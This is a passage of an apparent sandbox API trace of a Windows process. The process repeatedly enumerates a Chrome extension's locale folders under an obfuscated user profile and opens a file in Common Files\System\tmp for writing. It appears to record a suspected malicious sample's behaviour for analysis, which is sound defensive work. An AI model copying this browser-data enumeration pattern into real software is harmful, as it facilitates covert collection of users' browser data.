lpFindFileData=0x18aa58*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x851f1e10, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x851f1e10, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x851f1e10, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d18b0 [0138.398] FindClose (in: hFindFile=0x7d18b0 | out: hFindFile=0x7d18b0) returned 1 [0138.398] GetLastError () returned 0x12 [0138.398] AreFileApisANSI () returned 1 [0138.398] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0138.398] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18aa24, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x128 [0138.398] GetFileType (hFile=0x128) returned 0x1 [0138.398] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\bg\\*.*", lpFindFileData=0x18aa58 | out: lpFindFileData=0x18aa58*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x851f1e10, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x851f1e10, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x851f1e10, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d18b0 [0138.439] FindClose (in: hFindFile=0x7d18b0 | out: hFindFile=0x7d18b0) returned 1 [0138.439] GetLastError () returned 0x12 [0138.439] AreFileApisANSI () returned 1 [0138.439] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0138.440] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18aa24, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x128 [0138.440] GetFileType (hFile=0x128) returned 0x1 [0138.440] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ca\\*.*", lpFindFileData=0x18aa58 | out: lpFindFileData=0x18aa58*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x851f1e10, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x851f1e10, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x851f1e10, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d18b0 [0138.440] FindClose (in: hFindFile=0x7d18b0 | out: hFindFile=0x7d18b0) returned 1 [0138.440] GetLastError () returned 0x12 [0138.440] AreFileApisANSI () returned 1 [0138.440] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0138.440] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18aa24, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x128 [0138.440] GetFileType (hFile=0x128) returned 0x1 [0138.440] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\cs\\*.*", lpFindFileData=0x18aa58 | out: lpFindFileData=0x18aa58*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85217f70, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85217f70, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85217f70, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d18b0 [0138.486] FindClose (in: hFindFile=0x7d18b0 | out: hFindFile=0x7d18b0) returned 1 [0138.486] GetLastError () returned 0x12 [0138.486] AreFileApisANSI () returned 1 [0138.487] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0138.487] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18aa24, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x128 [0138.487] GetFileType (hFile=0x128) returned 0x1 [0138.487] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\da\\*.*", lpFindFileData=0x18aa58 | out: lpFindFileData=0x18aa58*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85217f70, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85217f70, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85217f70, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d18b0 [0138.487] FindClose (in: hFindFile=0x7d18b0 | out: hFindFile=0x7d18b0) returned 1 [0138.487] GetLastError () returned 0x12 [0138.487] AreFileApisANSI () returned 1 [0138.487] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0138.487] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18aa24, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x128 [0138.487] GetFileType (hFile=0x128) returned 0x1 [0138.488] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\de\\*.*", lpFindFileData=0x18aa58 | out: lpFindFileData=0x18aa58*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85217f70, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85217f70, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85217f70, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d18b0 [0138.533] FindClose (in: hFindFile=0x7d18b0 | out: hFindFile=0x7d18b0) returned 1 [0138.533] GetLastError () returned 0x12 [0138.533] AreFileApisANSI () returned 1 [0138.533] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0138.533] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18aa24, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x128 [0138.533] GetFileType (hFile=0x128) returned 0x1 [0138.534] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\el\\*.*", lpFindFileData=0x18aa58 | out: lpFindFileData=0x18aa58*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85217f70, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85217f70, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85217f70, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d18b0 [0138.534] FindClose (in: hFindFile=0x7d18b0 | out: hFindFile=0x7d18b0) returned 1 [0138.534] GetLastError () returned 0x12 [0138.534] AreFileApisANSI () returned 1 [0138.534] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0138.534] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18aa24, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x128 [0138.534] GetFileType (hFile=0x128) returned 0x1 [0138.535] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\en\\*.*", lpFindFileData=0x18aa58 | out: lpFindFileData=0x18aa58*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85217f70, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85217f70, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85217f70, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d18b0 [0138.580] FindClose (in: hFindFile=0x7d18b0 | out: hFindFile=0x7d18b0) returned 1 [0138.580] GetLastError () returned 0x12 [0138.580] AreFileApisANSI () returned 1 [0138.580] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0138.580] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18aa24, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x128 [0138.580] GetFileType (hFile=0x128) returned 0x1 [0138.580] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\es\\*.*", lpFindFileData=0x18aa58 | out: lpFindFileData=0x18aa58*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85217f70, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8523e0d0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8523e0d0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d18b0 [0138.581] FindClose (in: hFindFile=0x7d18b0 | out: hFindFile=0x7d18b0) returned 1 [0138.581] GetLastError () returned 0x12 [0138.581] AreFileApisANSI () returned 1 [0138.581] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0138.581] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18aa24, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x128 [0138.581] GetFileType (hFile=0x128) returned 0x1 [0138.581] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\fi\\*.*", lpFindFileData=0x18aa58 | out: lpFindFileData=0x18aa58*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8523e0d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8523e0d0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8523e0d0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d18b0 [0138.627] FindClose (in: hFindFile=0x7d18b0 | out: hFindFile=0x7d18b0) returned 1 [0138.627] GetLastError () returned 0x12 [0138.627] AreFileApisANSI () returned 1 [0138.627] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0138.627] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18aa24, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x128 [0138.627] GetFileType (hFile=0x128) returned 0x1 [0138.627] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\fil\\*.*", lpFindFileData=0x18aa58 | out: lpFindFileData=0x18aa58*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8523e0d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8523e0d0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8523e0d0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d18b0 [0138.628] FindClose (in: hFindFile=0x7d18b0 | out: hFindFile=0x7d18b0) returned 1 [0138.628] GetLastError () returned 0x12 [0138.628] AreFileApisANSI () returned 1 [0138.628] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0138.628] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18aa24, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x128 [0138.628] GetFileType (hFile=0x128) returned 0x1 [0138.628] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\fr\\*.*", lpFindFileData=0x18aa58 | out: lpFindFileData=0x18aa58*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8523e0d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8523e0d0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8523e0d0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d18b0 [0138.673] FindClose (in: hFindFile=0x7d18b0 | out: hFindFile=0x7d18b0) returned 1 [0138.674] GetLastError () returned 0x12 [0138.674] AreFileApisANSI () returned 1 [0138.674] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0138.674] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18aa24, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x128 [0138.674] GetFileType (hFile=0x128) returned 0x1 [0138.674] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\he\\*.*", lpFindFileData=0x18aa58 | out: lpFindFileData=0x18aa58*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8523e0d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8523e0d0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8523e0d0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d18b0 [0138.674] FindClose (in: hFindFile=0x7d18b0 | out: hFindFile=0x7d18b0) returned 1 [0138.674] GetLastError () returned 0x12 [0138.675] AreFileApisANSI () returned 1 [0138.675] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0138.675] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18aa24, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x128 [0138.675] GetFileType (hFile=0x128) returned 0x1 [0138.675] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\hi\\*.*", lpFindFileData=0x18aa58 | out: lpFindFileData=0x18aa58*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8523e0d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8523e0d0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8523e0d0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d18b0 [0138.729] FindClose (in: hFindFile=0x7d18b0 | out: hFindFile=0x7d18b0) returned 1 [0138.729] GetLastError () returned 0x12 [0138.729] AreFileApisANSI () returned 1 [0138.729] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0138.730] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18aa24, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x128 [0138.730] GetFileType (hFile=0x128) returned 0x1 [0138.730] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\hr\\*.*", lpFindFileData=0x18aa58 | out: lpFindFileData=0x18aa58*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85264230, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85264230, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85264230, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d18b0 [0138.730] FindClose (in: hFindFile=0x7d18b0 | out: hFindFile=0x7d18b0) returned 1 [0138.767] GetLastError () returned 0x12 [0138.767] AreFileApisANSI () returned 1 [0138.767] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0138.767] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18aa24, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x128 [0138.767] GetFileType (hFile=0x128) returned 0x1 [0138.767] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\hu\\*.*", lpFindFileData=0x18aa58 | out: lpFindFileData=0x18aa58*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85264230, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85264230, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85264230, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d18b0 [0138.815] FindClose (in: hFindFile=0x7d18b0 | out: hFindFile=0x7d18b0) returned 1 [0138.815] GetLastError () returned 0x12 [0138.815] AreFileApisANSI () returned 1 [0138.815] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0138.815] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18aa24, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x128 [0138.815] GetFileType (hFile=0x128) returned 0x1 [0138.815] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\id\\*.*", lpFindFileData=0x18aa58 | out: lpFindFileData=0x18aa58*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85264230, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85264230, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85264230, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d18b0 [0138.816] FindClose (in: hFindFile=0x7d18b0 | out: hFindFile=0x7d18b0) returned 1 [0138.816] GetLastError () returned 0x12 [0138.816] AreFileApisANSI () returned 1 [0138.816] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0138.816] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18aa24, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x128 [0138.816] GetFileType (hFile=0x128) returned 0x1 [0138.816] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\it\\*.*", lpFindFileData=0x18aa58 | out: lpFindFileData=0x18aa58*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85264230, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85264230, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85264230, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d18b0 [0138.861] FindClose (in: hFindFile=0x7d18b0 | out: hFindFile=0x7d18b0) returned 1 [0138.861] GetLastError () returned 0x12 [0138.861] AreFileApisANSI () returned 1 [0138.861] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0138.861] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18aa24, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, 